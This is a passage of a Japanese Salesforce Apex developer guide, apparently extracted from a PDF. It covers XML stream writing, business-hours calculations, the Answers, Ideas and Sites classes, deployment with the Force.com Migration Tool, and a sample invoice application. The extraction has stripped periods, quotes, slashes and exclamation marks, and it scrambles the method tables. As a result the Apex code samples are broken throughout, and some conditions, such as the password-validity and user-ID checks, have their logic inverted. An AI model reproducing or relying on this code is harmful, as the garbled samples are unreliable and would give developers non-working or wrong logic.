ストリームを出力するために空白のエレメントを書き込みますlocalNameは書き込まれるタグの名前を指定します

VoidString prefix

String localName

String namespaceURI

writeEmptyElement

ストリームを出力するために開始タグを閉じ関連終了タグを書き込みます

VoidwriteEndDocument

ストリームを出力するために終了タグを書き込みますプレフィックスとローカル名を決定するライターの内部状態に依存します

VoidwriteEndElement

ストリームを出力するために指定された名前空間を書き込みます

VoidString prefix

String namespaceURI

writeNamespace

指定された処理命令を書き込みますVoidString target

String data

writeProcessingInstruction

指定されたXMLエンコーディングとバージョンを使ってXML宣言を書き込みます

VoidString encoding

String version

writeStartDocument

ストリームを出力するためにlocalNameによって指定された開始タグを書き込みます

VoidString prefix

String localName

writeStartElement

String namespaceURI

XMLライターメソッド例

以下の例ではXMLドキュメントを書き込みその妥当性をテストします

メモ Hello World スクリプトと納入先請求書の例ではカスタム項目およびオブジェクトが必要です項目やオブジェクトを自分で作成したりオブジェクト項目および Apex スクリプトを管理パッケージとして Forcecom AppExchange からダウンロードできます詳細はwikiapexdevnetcomindexphpDocumentation を参照してください

public class XmlWriterDemo

public String getXml() XmlStreamWriter w = new XmlStreamWriter() wwriteStartDocument(null10) wwriteProcessingInstruction(target data) wwriteStartElement(m Libraryhttpwwwbookcom) wwriteNamespace(m httpwwwbookcom) wwriteComment(Bookstarts here) wsetDefaultNamespace(httpwwwdefnscom) wwriteCData(ltCdatagt I likeCData ltCdatagt) wwriteStartElement(null book null)wwritedefaultNamespace(httpwwwdefnscom) wwriteAttribute(null null authorManoj) wwriteCharacters(This is my book) wwriteEndElement() end bookwwriteEmptyElement(null ISBN null) wwriteEndElement() end librarywwriteEndDocument() String xmlOutput = wgetXmlString() wclose() return xmlOutput

参照 Version 180 | XmlStreamクラス | 372

public static TestMethod void basicTest() XmlWriterDemo demo = new XmlWriterDemo() Stringresult = demogetXml() String expected = ltxml version=10gtlttarget datagt+ ltmLibraryxmlnsm=httpwwwbookcomgt + lt--Book starts here--gt + lt[CDATA[ltCdatagt I likeCData ltCdatagt]]gt + make sure you put the next two lines on one line in your codeltbookxmlns=httpwwwdefnscom author=Manojgt + This is my bookltbookgtltISBNgtltmLibrarygt

Systemassert(result == expected)

営業時間クラス営業時間では複数のタイムゾーンなどカスタマーサポートチームが活動するさまざまな営業時間を指定することができます

営業時間メソッドは営業時間の特定のインスタンスによってコールされ操作されます次に営業時間のインスタンスメソッドを示します

説明戻り値の型引数名前

開始時の Datetime から営業時間のみを越えるミリ秒のインターバルを追加します現地のタイム

DatetimeStringbusinessHoursId

DatetimestartDate

add

ゾーンの結果を Datetime で返します例は「営業時間例」 (ページ 373)を参照してください

Long interval

開始時の Datetime から営業時間のみを越えるミリ秒のインターバルを追加しますGMT の結果

DatetimeStringbusinessHoursId

DatetimestartDate

addGmt

を Datetime で返します例は「営業時間例」(ページ 373)を参照してください

Long interval

特定の営業時間のセットの開始と終了の Datetimeの差異を返します例は「営業時間例」 (ページ 373)を参照してください

LongStringbusinessHoursId

DatetimestartDate

diff

Datetime endDate

営業時間の詳細はSalesforcecom オンラインヘルプの「営業時間の設定」を参照してください

営業時間例

次の例ではstartTime から 1 営業時間後の時間を求め現地のタイムゾーンで Datetime を返します

デフォルトの営業時間を取得BusinessHours bh = [select id from businesshours whereIsDefault=true]

2008 年 5 月 28 日 10608 AM の Datetime を現地のタイムゾーンで作成Datetime startTime =DatetimenewInstance(2008 5 28 1 6 8)

デフォルトの営業時間を使用し 2008 年 5 月 28 日 10608 AM から 1 営業時間後の時間を算出

参照 Version 180 | 営業時間クラス | 373

Datetime は現地のタイムゾーンで返されますDatetime nextTime = BusinessHoursadd(bhid startTime60 60 1000L)

次の例ではstartTime から 1 営業時間後の時間を求めGMT を Datetime を返します

デフォルトの営業時間を取得BusinessHours bh = [select id from businesshours whereIsDefault=true]

2008 年 5 月 28 日 10608 AM の Datetime を現地のタイムゾーンで作成Datetime startTime =DatetimenewInstance(2008 5 28 1 6 8)

デフォルトの営業時間を使用し 2008 年 5 月 28 日 10608 AM から 1 営業時間後の時間を算出Datetime は GMT で返されますDatetime nextTimeGmt = BusinessHoursaddGmt(bhid startTime60 60 1000L)

次の例はstartTime と nextTime の差異を求めます

デフォルトの営業時間を取得BusinessHours bh = [select id from businesshours whereIsDefault=true]

2008 年 5 月 28 日 10608 AM の Datetime を現地のタイムゾーンで作成Datetime startTime =DatetimenewInstance(2008 5 28 1 6 8)

2008 年 5 月 28 日 160608 AM の Datetime を現地のタイムゾーンで作成Datetime endTime =DatetimenewInstance(2008 5 28 16 6 8)

デフォルトの営業時間で定義されたとおり startTime と endTime の間の営業時間数をミリ秒で算出endTime が startTime より前の時間である場合は負の値を 等しい場合は 0 をそれ以外は正の数を返しますLong diff = BusinessHoursdiff(bhid startTime endTime)

Apex コミュニティクラス各アイデアや回答ははコミュニティという論理グループに分けられそれぞれのコミュニティでは独自のフォーカスおよびアイデアや回答のトピックがありますApexにはコミュニティに関連した次のクラスがあります

bull Answers クラスbull アイデアクラス

Answers クラス

Answers はコミュニティアプリケーションの 1 つの機能でユーザは質問をしコミュニティメンバーから回答を得ることができますコミュニティメンバーは回答の役立ち度について投票できまた質問を投稿したユーザは 1 つの回答をベストアンサーに選ぶことができます

次にAnswers の静的メソッドを示します

説明戻り値の型引数名前

questionの件名に基づき似た質問 5 個のリストを返しますfindSimilarはトランザクションごとに 10 回までコールすることができます

ID[]Question questionfindSimilar

参照 Version 180 | Apex コミュニティクラス | 374

説明戻り値の型引数名前

指定した質問の指定した回答をベストアンサーに設定します質問者は複数の回答を受けることが

VoidString questionId

String replyId

setBestReply

できるためユーザに最も役立った回答を設定すると最も役立つ情報を含む回答を簡単に見つけることができます

Answers の詳細はSalesforcecom オンラインヘルプの「回答の概要」を参照してください

Answers の例

次に特定のコミュニティ (INTERNAL_COMMUNITY) の中で新しい質問と似た件名の質問を検索する例を示します

public class FindSimilarQuestionController

public static void test() 新しい質問をインスタンス化 Question question = new Question ()

新しい質問の件名を指定します questiontitle = How much vacation time do full-time employeesget

似た質問を探す communityID (INTERNAL_COMMUNITY) を指定しますCommunity community = [ SELECTId FROM Community WHERE Name = INTERNAL_COMMUNITY ]

questioncommunityId = communityid

ID[] results = AnswersfindSimilar(question)

次は回答をベストアンサーに選択する例です

ID questionId = [SELECT Id FROM Question WHERE Title = Testing setBestReplyId LIMIT 1]IdID replyID = [SELECT Id FROM Reply WHERE QuestionId = questionId LIMIT 1]IdAnswerssetBestReply(questionIdreplyId)

アイデアクラス

Salesforce CRM Ideas はアイデアとアイデアに対する投票およびコメントを投稿するユーザのコミュニティですあらゆる主題に関して議論し人気ランキングを付けるオンライン提案箱と考えてください

最近のコメントセット (メソッドにより返されます下記を参照) にはユーザが投稿したコメントや別のユーザが投稿したコメントに対するコメントなどのアイデアが含まれます返されたアイデアは別のユーザ行った最後のコメント投稿時間に基づきリストされ最新のアイデアが先頭となります

userID引数は必須であり指定されたユーザが投稿したまたはコメントしたアイデアのみの結果を返します

communityID引数は指定されたコミュニティのアイデアのみを返すように絞り込みますこの引数が空の文字列である場合指定されたユーザの最近のコメントすべてがコミュニティに関わらず返されます

次にアイデアの静的メソッドを示します

参照 Version 180 | Apex コミュニティクラス | 375

説明戻り値の型引数名前

ideaの件名に基づき似たアイデア 5個のリストを返しますfindSimilarは 10 回までコールすることができます

ID[]Idea ideafindSimilar

指定されたユーザまたはコミュニティで最近コメントが投稿されたアイデアを返します

ID[]String userID

StringcommunityID

getAllRecentReplies

既読および未読のすべてのコメントが含まれます

既読とマークされた最近コメントが投稿されたアイデアを返します

ID[]String userID

StringcommunityID

getReadRecentReplies

未読とマークされた最近コメントが投稿されたアイデアを返します

ID[]String userID

StringcommunityID

getUnreadRecentReplies

現在ログインしているユーザのすべてのコメントを既読に設定します

VoidString ideaIDmarkRead

アイデアの詳細はSalesforcecom オンラインヘルプの「Salesforce CRM Ideas の使用」を参照してください

アイデア例

次に特定のコミュニティの中で新しいアイデアと似た件名アイデアを検索する例を示します

public class FindSimilarIdeasController

public static void test() 新しいアイデアをインスタンス化Idea idea = new Idea ()

新しいアイデアの件名を指定ideatitle = Increase Vacation Time for Employees

似たアイデアを探す communityID (INTERNAL_IDEAS) を指定Community community = [ SELECT IdFROM Community WHERE Name = INTERNAL_IDEAS ]

ideacommunityId = communityid

ID[] results = IdeasfindSimilar(idea)

次にVisualforce ページと特別な Apex クラスであるカスタムコントローラの両方を使用する例を示しますVisualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の『Visualforce Developers Guide』を参照してください

この例では未読の最近のコメントを返すコントローラにApexメソッドを作成しますgetAllRecentReplies

および getReadRecentRepliesメソッドで同様の例を活用できますこの例が動作するにはコミュニティに投稿されているアイデアが必要となりますさらに最低 1 人のコミュニティメンバーが別のコミュニティのメンバーのアイデアやコメントにコメントを投稿していなければなりません

すべてのコミュニティで未読となっている最近のコメントを取得する Apex メソッドを作成public classIdeasController

参照 Version 180 | Apex コミュニティクラス | 376

public Idea[] getUnreadRecentReplies() Idea[] recentReplies if (recentReplies == null) Id[] recentRepliesIds = IdeasgetUnreadRecentReplies(UserInfogetUserId() )recentReplies = [select id title from idea where id in recentRepliesIds] returnrecentReplies

次に上記のカスタムコントローラを使用し未読の最近のコメントのリストを作成するVisualforceページのマークアップを示します

ltapexpage controller=IdeasController showHeader=falsegt ltapexdataListvalue=unreadRecentReplies var=recentReplyIdeagt ltahref=apexviewIdeaid=recentReplyIdeaidgt ltapexoutputTextvalue=recentReplyIdeatitle escape=truegtltagt ltapexdataListgt ltapexpagegt

次にデータのリストに Visualforce ページとカスタムコントローラを使用する例を示します続いて2 つ目のVisualforceページとカスタムコントローラを使用して特定のアイデアを表示し既読に設定する方法を示しますこの例が動作するにはコミュニティに投稿されているアイデアが必要となります

VisualForce ページでアイデアのリストに使用するコントローラを作成public class IdeaListController

public final Idea[] ideas get private set

public IdeaListController() Integer i = 0 ideas = new Idea[10] for (Idea tmp Databasequery (select id title from Idea where id = null and parentIdeaId = null limit10)) i++ ideasadd(tmp)

次に上記のカスタムコントローラを使用しアイデアのリストを作成するVisualforceページのマークアップを示します

ltapexpage controller=IdeaListController tabStyle=Idea showHeader=falsegt

ltapexdataList value=ideas var=idea id=ideaListgt ltahref=apexviewIdeaid=ideaidgt ltapexoutputText value=ideatitleescape=truegtltagt ltapexdataListgt

ltapexpagegt

次にVisualforce ページとカスタムコントローラの両方を使用する例をもう 1 つ示しますここでは上記のアイデアリストページで選択されたアイデアを表示しますこの例ではmarkReadメソッドが選択したアイデアと関連するコメントを現在ログイン中のユーザによる既読に設定しますmarkReadがコンストラクタに含まれているためユーザがこのコントロールを使用するページにアクセスするとアイデアは直ちに既読に設定されることにご注意くださいこの例が動作するにはコミュニティに投稿されているアイデアが必要となりますさらに最低 1 人のコミュニティメンバーが別のコミュニティのメンバーのアイデアやコメントにコメントを投稿していなければなりません

選択されたアイデアのすべてのコメントを既読に設定する Apex メソッドを コントローラに作成public classViewIdeaController

private final String id = SystemcurrentPage()getParameters()get(id)

public ViewIdeaController(ApexPagesStandardController controller) IdeasmarkRead(id)

参照 Version 180 | Apex コミュニティクラス | 377

次に上記のカスタムコントローラを使用しアイデアを既読として表示するVisualforceページのマークアップを示します

ltapexpage standardController=Idea extensions=ViewIdeaController showHeader=falsegt

lth2gtltapexoutputText value=ideatitle gtlth2gt ltapexoutputText value=ideabodygt

ltapexpagegt

サイトクラス次にForcecom サイトの静的メソッドを示します

説明戻り値の型引数名前

現在のユーザのパスワードを変更します

SystemPageReferenceString newpassword

Stringverifynewpassword

changePassword

String opt_oldpassword

指定された取引先のポータルユーザを作成しサイトのポータルと

IdsObject user

String accountId

createPortalUser

関連付けますString opt_password

createPortalUserメソッドを使用する場合nicknameはユーザの sObject について必須です

メモ このメソッドはサイトがカスタマーポータルと関連する場合にのみ有効です

ユーザのパスワードをリセットし新しいパスワードを記載した

BooleanString usernameforgotPassword

電子メールをユーザに送信しますパスワードのリセットが正常に行われたかどうかを示す値を返します

サイトに関連付けられている追跡コードこのコードはサイトに

StringgetAnalyticsTrackingCode

対するページリクエストデータを追跡するためにGoogle Analyticsなどのサービスで使用されます

現在の要求に対するサイト URL(例 httpmycocomや

StringgetCurrentSiteUrl

httpsmycoforcecomprefix

など) を返します

参照 Version 180 | サイトクラス | 378

説明戻り値の型引数名前

現在のサイトの [カスタム Web

アドレス]項目の値が返りますStringgetCustomWebAddress

組織の Forcecom ドメイン名を返します

StringgetDomain

エラーがありそれがサイトに指定されたエラーページである場合

StringgetErrorDescription

は現在のページのエラーの説明を返しそうでない場合は空の文字列を返します

エラーがありそれがサイトに指定されたエラーページである場合

StringgetErrorMessage

は現在のページのエラーメッセージを返しそうでない場合は空の文字列を返します

現在のサイトの API 名を返しします

StringgetName

このページがサイトに指定されたエラーページである場合は元の

StringgetOriginalUrl

URL を返しそうでない場合はNull を返します

現在のサイトの URL パスの接頭辞を返しますたとえばサイト

StringgetPrefix

URL がmycoforcecompartnersである場合partnersがパス接頭辞です接頭辞が定義されない場合またはページにカスタムWebアドレスを使用してアクセスした場合Null を返します

現在のサイトに関連付けられたテンプレートを返しますテンプ

SystemPageReferencegetTemplate

レートが指定されていない場合デフォルトのテンプレートを返します

現在のサイトがログインが有効なポータルと関連付けられている場

BooleanisLoginEnabled

合は trueを返しそうでない場合は falseを返します

認証ユーザについて現在ログインしているユーザのパスワードの

BooleanisPasswordExpired

有効期限が切れている場合true

参照 Version 180 | サイトクラス | 379

説明戻り値の型引数名前

を返します非認証ユーザについてはfalseを返します

現在のサイトが自己登録対応のカスタマーポータルと関連付けられ

BooleanisRegistrationEnabled

ている場合は trueを返しそうでない場合はfalseを返します

ユーザは指定されたユーザ名およびパスワードで現在のサイトにロ

SystemPageReferenceString username

String password

ログイン

グインできユーザを startUrlString startUrl に誘導しますstartUrlが相対

パスでない場合デフォルトはサイトの指定されたインデックスページとなります

メモ startURLにhttpまたは https

を指定しないでください

サイトの詳細はSalesforcecom オンラインヘルプの「サイトの概要」を参照してください

Forcecom Sites の例

次の例ではクラスSiteRegisterControllerを作成しますこのクラスはVisualforceページ (下記マークアップを参照) を使用して新規カスタマーポータルユーザを登録します

メモ 次の例では新しいポータルユーザと関連付ける取引先の取引先 ID を入力する必要があります取引先所有者をこのコード例が機能するロール階層に追加する必要もあります詳細はSalesforcecomオンラインヘルプの「カスタマーポータルの設定」 を参照してください

ポータルユーザを作成する Apex クラス public class SiteRegisterController PORTAL_ACCOUNT_ID は取引先担当者が作成されポータルユーザとして有効化される取引先ですltportal_account_idgt の場所に取引先 ID を入力します private static Id PORTAL_ACCOUNT_ID= ltportal_account_idgt

public SiteRegisterController ()

public String username get set public String email get set public String passwordget set password = value == null value valuetrim() public String confirmPasswordget set confirmPassword = value == null value valuetrim() public StringcommunityNickname get set communityNickname = value == null value valuetrim()

private boolean isValidPassword() return password == confirmPassword

public PageReference registerUser() パスワードが null の場合無作為のパスワードがユーザに送信されます if (isValidPassword()) ApexPagesMessage msg = newApexPagesMessage(ApexPagesSeverityERROR Labelsitepasswords_dont_match)ApexPagesaddMessage(msg) return null User u = new User() uUsername = username uEmail= email uCommunityNickname = communityNickname

参照 Version 180 | サイトクラス | 380

String accountId = PORTAL_ACCOUNT_ID

lastName はユーザの必須項目ですが指定されていない場合ユーザ名を使用します String userId =SitecreatePortalUser(u accountId password) if (userId = null) if (password = nullampamp passwordlength() gt 1) return Sitelogin(username password null) else PageReference page = SystemPageSiteRegisterConfirm pagesetRedirect(true) return page return null 正のテストケースを検証する Test メソッド static testMethod voidtestRegistration() SiteRegisterController controller = new SiteRegisterController()controllerusername = testforcecom controlleremail = testforcecomcontrollercommunityNickname = test registerUser はゲストユーザとしてページにアクセスしていない場合は常に Null を返します Systemassert(controllerregisterUser() == null)controllerpassword = abcd1234 controllerconfirmPassword = abcd123Systemassert(controllerregisterUser() == null)

次は上記の SiteRegisterController Apex コントローラを使用する Visualforce 登録ページです

ltapexpage id=Registration showHeader=false controller= SiteRegisterControllerstandardStylesheets=truegt ltapexoutputText value=Registrationgt ltbrgt ltapexformid=theFormgt ltapexmessages id=msg styleClass=errorMsg layout=tablestyle=margin-top1emgt ltapexpanelGrid columns=2 style=margin-top1emgtltapexoutputLabel value=$Labelsiteusername for=usernamegt ltapexinputTextrequired=true id=username value=usernamegt ltapexoutputLabelvalue=$Labelsitecommunity_nickname for=communityNicknamegt ltapexinputTextrequired=true id=communityNickname required=true value=communityNicknamegtltapexoutputLabel value=$Labelsiteemail for=emailgt ltapexinputText required=trueid=email required=true value=emailgt ltapexoutputLabelvalue=$Labelsitepassword for=passwordgt ltapexinputSecret id=passwordvalue=passwordgt ltapexoutputLabel value=$Labelsiteconfirm_passwordfor=confirmPasswordgt ltapexinputSecret id=confirmPassword value=confirmPasswordgtltapexoutputText value=gt ltapexcommandButton action=registerUservalue=$Labelsitesubmit id=submitgt ltapexpanelGridgt ltapexformgt ltapexpagegt

参照 Version 180 | サイトクラス | 381

第 13 章

Apexスクリプトの展開

Salesforcecom 運用組織では Apex を開発することはできません実際にユーザが利用中のシステムで開発を行う場合データまたはアプリケー

トピック

bull Forcecom IDE を使用した Apexの展開

ションを不安定にまたは破壊することがありますsalesforcecomはsandboxまたはDeveloper Edition 組織上ですべての開発作業を行うことを推奨しますbull Forcecom Migration Tool の使用

bull Forcecom Migration Tool 追加ディプロイメソッド

Forcecom IDEForcecom Migration Toolまたは追加のディプロイメソッドを使用してコードを展開します

Forcecom IDE を使用した Apex の展開

Forcecom IDE は Eclipse IDE のプラグインですForcecom IDE にはForcecom アプリケーションを構築および展開する統合インターフェースがあります開発者および開発チーム向けに設計された IDE にはソースコードエディタテスト実行ツールウィザードおよび統合ヘルプなどForcecom アプリケーション開発を促進するツールが用意されていますForcecom IDEはhttpwikiapexdevnetcomindexphpForcecom_IDEで入手できます基本的なカラー表示エディタアウトラインビュー統合されたユニットテストおよび保存時の自動コンパイルとエラーメッセージ表示を提供します

Apex を Forcecom IDE から Salesforcecom 組織に展開するにはサーバへの展開ウィザードを使用します

メモ 運用組織に展開する場合

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了します

次の点に注意してください

- 運用組織に展開する場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされま

せん- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコード

の割合にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

サーバへの展開ウィザードの使用方法の詳細はEclipse で入手できる Forcecom IDE マニュアルの「別のSalesforcecom 組織への展開」を参照してください

Forcecom Migration Tool の使用

Forcecom IDE のほかApex の展開にスクリプトを使用することもできます

Apache の Ant 開発ツールを使用して Developer Edition または Sandbox を使用している組織から Salesforcecom 運用組織に Apex ディプロイ用のスクリプトを使用する場合はForcecom 移行ツールをダウンロードします

Forcecom Migration Toolを使うには以下を行います

1 httpjavasuncomjavasedownloadsindexjspを訪問しJava JDKのバージョン61以上をディプロイマシンにインストールします

2 httpantapacheorgを訪問しApache Antのバージョン16以上をディプロイマシンにインストールします3 環境変数 ANT_HOMEJAVA_HOMEPATHなど をhttpantapacheorgmanualinstallhtmlのAnt Installation Guide

で指定されたように設定します

Apexスクリプトの展開 Version 180 | Forcecom IDE を使用した Apex の展開 | 383

4 コマンドプロンプトを開きant ndashversionを入力してJDKとAntが正しくインストールされているか確認してください出力したものは以下のようになるでしょう

Apache Ant version 170 compiled on December 13 2006

5 ディプロイマシン上でSalesforcecomにログインしてくださいSetup Develop Toolsと順にクリックしForcecom Migration Toolをクリックしてください

6 ダウンロードしたファイルをお好きなディレクトリにディプロイしてくださいZipファイルには以下が含まれます

bull ツールの使用方法を説明した Readmehtmlファイルbull Ant タスクを含む Jar ファイル ant-salesforcejarbull 次の内容を含むサンプルフォルダ

- SampleDeployClassclsと SampleFailingTestClassclsを含む codepkgclassesフォルダ- SampleAccountTriggertriggerを含む codepkgtriggersフォルダ- 例で使用するカスタムオブジェクトを含む mypkgobjectsフォルダ- 組織から例を削除するための XML ファイルを含む removecodepkgフォルダ- buildxmlの Ant タスクを実行するための認証情報を指定するサンプル buildpropertiesファイル- deployおよび retrieve API コールを実行するサンプル buildxmlファイル

7 解凍したファイルからant-salesforcejarをant libディレクトリにコピーしてくださいant libディレクトリはAntインストール先のルートフォルダにあります

8 解凍したファイル内のサンプルサブディレクトリを開いてください9 buildpropertiesファイルを編集してください

1 Salesforcecom運用組織ユーザ名およびパスワードをsfuserとsfpasswordフィールドにそれぞれ入力してください

メモ 指定のユーザ名はApexを編集するための権限を持っていなければなりません

2 sandbox組織にディプロイしない場合sfserverurlをhttpstestsalesforcecomに変更してください

10 サンプルディレクトリのコマンドウィンドウを開いてください11 ant deployCodeを入力してくださいこれはForcecom Migration Toolにて提供されたサンプルクラスと

Accountトリガを使ってdeploy APIコールを実行します

ant deployCodeはbuildxmlファイル内でdeployと名づけられたAntターゲットを呼び出します

lt-- Shows deploying code amp running tests for package codepkg --gt lttargetname=deployCodegt lt-- Upload the contents of the codepkg package running the testsfor just 1 class --gt ltsfdeploy username=$sfusername password=$sfpasswordserverurl=$sfserverurl deployroot=codepkggt ltrunTestgtSampleDeployClassltrunTestgtltsfdeploygt lttargetgt

deployの詳細についてはUnderstanding deploy (ページ 385)を参照してください12 ant deployCodeの実行の一部として追加されたテストクラスとトリガを除去するにはコマンドウィンドウ

内で以下を入力してくださいant undeployCode

Apexスクリプトの展開 Version 180 | Forcecom Migration Tool の使用 | 384

ant undeployCodeはbuildxmlファイル内でundeployCodeと名づけられたAntターゲットを呼び出します

lttarget name=undeployCodegt ltsfdeploy username=$sfusername password=$sfpasswordserverurl= $sfserverurl deployroot=removecodepkggt lttargetgt

deployについて以下のすべてがTrueの場合のみdeployコールは正しく完成します

bull Apex スクリプトの75がユニットテストの適用範囲でかつすべてのテストは正しく完了すること

次の点に注意してください

- 運用組織をディプロイする場合組織の名前空間内の各ユニットテストが行われます- Systemdebugへのコールはユニットテストの Apex コードの範囲の一部としてカウントされません- Apex コードの 75 だけをテストでカバーする必要がある場合フォーカスはカバーされるコードの割合

にあってはいけません代わりに正のケースや負のケース大量のレコードや単一レコードなどアプリケーションのすべての使用ケースがカバーされていることを確認してくださいコードの 75 以上がユニットテストにカバーされます

bull すべてのトリガについていくつかのテスト適用範囲ありますbull すべてのクラスとトリガは正常にコンパイルされます

一度に複数の deploy Metadata API コールを実行することはできません

Forcecom Migration Toolはディプロイスクリプトに組み入れ可能なタスクdeployを提供します組織のクラスとトリガを含むようにbuildxmlサンプルを変更可能ですdeployタスクのプロパティは以下の通りですusername

Salesforcecom 運用組織にログインするためのユーザ名

password

Salesforcecom 運用組織にログインするための関連パスワード

serverURL

ログインしようとしている Salesforcecom サーバのURL値を指定しない場合デフォルトはwwwsalesforcecomです

deployRoot

ディプロイしたいその他のメタデータと同様にApexクラスとトリガを含むローカルディレクトリ必要なファイル構造を作成する最良の方法は組織またはsandboxから取得することです詳細はUnderstandingretrieveCode (ページ 386)を参照してください

bull Apexクラスファイルはclassesと名づけられたサブディレクトリ内にある必要があります各クラス用に以下のように名づけられた2ファイルを持っている必要があります

- classnamecls- classnamecls-metaxml

例えばMyClassclsとMyClasscls-metaxml-metaxmlファイルはAPIバージョンとクラスのステータス(アクティブインアクティブ)を含みます

Apexスクリプトの展開 Version 180 | deploy について | 385

bull Apexトリガファイルはtriggersと名づけられたサブディレクトリ内にある必要があります各トリガ用に以下のように名づけられた2ファイルを持っている必要があります

- triggernametrigger- triggernametrigger-metaxml

例えばMyTriggertriggerとMyTriggertrigger-metaxml-metaxmlファイルはAPIバージョンとトリガのステータス(アクティブインアクティブ)を含みます

bull ルートディレクトリはすべてのクラストリガおよびその他のディプロイされるオブジェクトを列記したXMLファイルpackagexmlを含みます

bull ルートディレクトリは場合によりすべてのクラストリガ組織から削除されるその他のオブジェクトを列記したXMLファイルdestructiveChangesxmlを含みます

checkOnly

クラスとトリガがターゲット環境にディプロイされるかどうかを指定します組織内のすべてのテストを実行したい場合は true を設定しますそうでない場合は false を設定します値を指定しない場合デフォルトはFalseです

runTests

実行したいユニットテストを含んだクラスの名前

メモ このパラメータはSalesforcecom 運用組織にディプロイする際には無視されます組織の名前空間内の各ユニットテストは実行されます

runAllTests

組織内のすべてのテストを実行したい場合はtrueを設定しますそうでない場合はfalseを設定しますrunAllTestsにtrueを指定する場合runTestsの値を指定する必要はありません

メモ このパラメータはSalesforcecom 運用組織にディプロイする際には無視されます組織の名前空間内の各ユニットテストは実行されます

retrieveCodeについてsandboxまたは製造組織からクラスとトリガを取得するためにretrieveCodeコールを使ってください通常のディプロイサイクル中は新しいクラスとトリガ用の正しいディレクトリ構造を取得するためにdeployの前にretrieveCodeを実行するでしょうしかしながら例えば取得するものがあることを確認するためにdeployが最初に使われます

既存の組織からクラスとトリガを取得するには以下のサンプル構築ターゲットant retrieveCodeによって例示されるようにantタスクを使ってください

lttarget name=retrieveCodegt lt-- Retrieve the contents listed in the file codepkgpackagexmlinto the codepkg directory --gt ltsfretrieve username=$sfusernamepassword=$sfpassword serverurl=$sfserverurl retrieveTarget=codepkgunpackaged=codepkgpackagexmlgt lttargetgt

ファイルcodepkgpackagexmlは取得されるメタデータコンポーネントを列記していますこの例では2つのクラスと1つのトリガを取得します取得されたファイルはディレクトリcodepkgに入れられディレクトリ内にすでに存在するすべてに上書きされます

Apexスクリプトの展開 Version 180 | retrieveCode について | 386

取得タスクのプロパティは以下の通りですusername

Salesforcecom 運用組織にログインするためのユーザ名

password

Salesforcecom 運用組織にログインするための関連パスワード

serverURL

ログインしようとしている Salesforcecom サーバのURL値を指定しない場合デフォルトはwwwsalesforcecomです

apiversion

ファイルに取得される Metadata API のバージョン

retrieveTarget

ファイルのコピー先のディレクトリ

unpackaged

取得されるファイルのリストを含むファイル名このパラメータまたはpackageNamesのどちらかを指定してください

packageNames

そのパッケージまたは取得されるパッケージ名

表 3 buildxml取得ターゲットフィールド設定

説明項目

必須項目ログイン用のsalesforceユーザ名username

必須項目このプロジェクトに関連した組織にログインするために使うユーザ名セキュリティトークンを使っ

password

ている場合はパスワードの最後に25桁のトークン値を貼り付けてくださいこの接続に関連したユーザ名はこのプロファイル上にModify All Data許可を持っている必要があります一般的にこれはSystemAdministratorユーザのみに有効にされます

オプションsalesforceサーバURL 空白の場合規定値はwwwsalesforcecom testsalesforcecomのSandboxインスタンスに対してこれは有効です

serverurl

任意規定値5000salesforcecomの各ポールが結果を取得するまで待つミリ秒数

pollWaitMillis

任意規定値10レポートの結果用のポールsalesforcecomの回数

maxPoll

必須項目メタデータファイルを取得するディレクトリ構造のルート

retrieveTarget

Apexスクリプトの展開 Version 180 | retrieveCode について | 387

説明項目

オプション取得するコンポーネントを指定するマニフェストのファイル名

unpackaged

任意規定値はFalse取得される内容が単一パッケージかどうかを指定する

singlePackage

オプション取得するパッケージ名のリストpackageNames

オプション取得するファイル名のリストspecificFiles

runTests()についてForcecom Migration Tool で deploy()を使用するほかrunTests() API コールも使用可能ですこのコールは以下のプロパティを取りますclass

該当するユニットテストを含むクラスの名前ですこのプロパティは複数回指定可能です

alltests

全テストを実行するか指定しますすべてのテストを実行したい場合は true を設定しますそうでない場合は false を設定します

namespace

テストしたい名前空間名前空間を指定した場合名前空間の全テストが実行されます

Forcecom Migration Tool 追加ディプロイメソッド

Forcecom IDE または Forcecom Migration Tool を使用して Apex を展開しない場合次の API を使用して Apexを開発組織または Sandbox 組織に展開します

bull compileAndTest

bull compileClasses

bull compileTriggers

設定不要な項目値と同様にこれらすべてのコールはクラスまたはトリガを含むApexスクリプトを実施します

Apexスクリプトの展開 Version 180 | runTests() について | 388

付録

付録

A納入先請求書の例

この付録ではApexアプリケーションの例について説明していますHello World の例より複雑な例があります

bull 納入先請求書の例ウォークスルー (ページ 389)bull 納入先請求書の例コード (ページ 391)

納入先請求書の例ウォークスルー

ここで示すサンプルアプリケーションにはApex と混合された従来の Salesforcecom 機能が含まれています一般的なイディオムとともにApex の静的およびセマンティック機能の多くはこのアプリケーションで説明されています

メモ Hello World スクリプトと納入先請求書の例ではカスタム項目およびオブジェクトが必要です項目やオブジェクトを自分で作成したりオブジェクト項目および Apex スクリプトを管理パッケージとして Forcecom AppExchange からダウンロードできます詳細はwikiapexdevnetcomindexphpDocumentation を参照してください

シナリオ

サンプルアプリケーションでは納入先請求書または注文を新規作成し品目を請求書に追加します総量を含む注文金額合計が請求書に追加または削除される品目に基づいて自動的に計算および更新されます

データおよびコードモデル

このサンプルアプリケーションではItem と Shipping_invoice の新しい 2 つのオブジェクトを使用します

次のように想定します

bull Item A は shipping_invoice1 および shipping_invoice2 の両方の注文に含めることはできません2 つの顧客は同じ (物理的に) 商品を取得できません

bull 消費税率は 925 ですbull 送料の比率を 1 ポンド当たり 75 セントに設定しますbull 注文が $100 を超えている場合送料の割引が適用されます (送料無料)

Item カスタムオブジェクトの項目には次のようなものがあります

説明型名前

品目の名前文字列名前

品目の金額通貨Price

この注文に含まれる品目数数値Quantity

品目の重量総量の計算に使用します数値Weight

この品目が関連する注文主従 (shipping_invoice)Shipping_invoice

Shipping_invoice カスタムオブジェクトの項目は次のとおりです

説明型名前

納入先請求書注文の名前文字列Name

小計通貨Subtotal

消費税送料を含む合計金額通貨GrandTotal

配送にかかる金額 (1 ポンド当たり $075)通貨Shipping

小計の金額が $100 に達した場合にのみ適用通貨ShippingDiscount

消費税金額 (925)通貨Tax

すべての品目の総重量数値TotalWeight

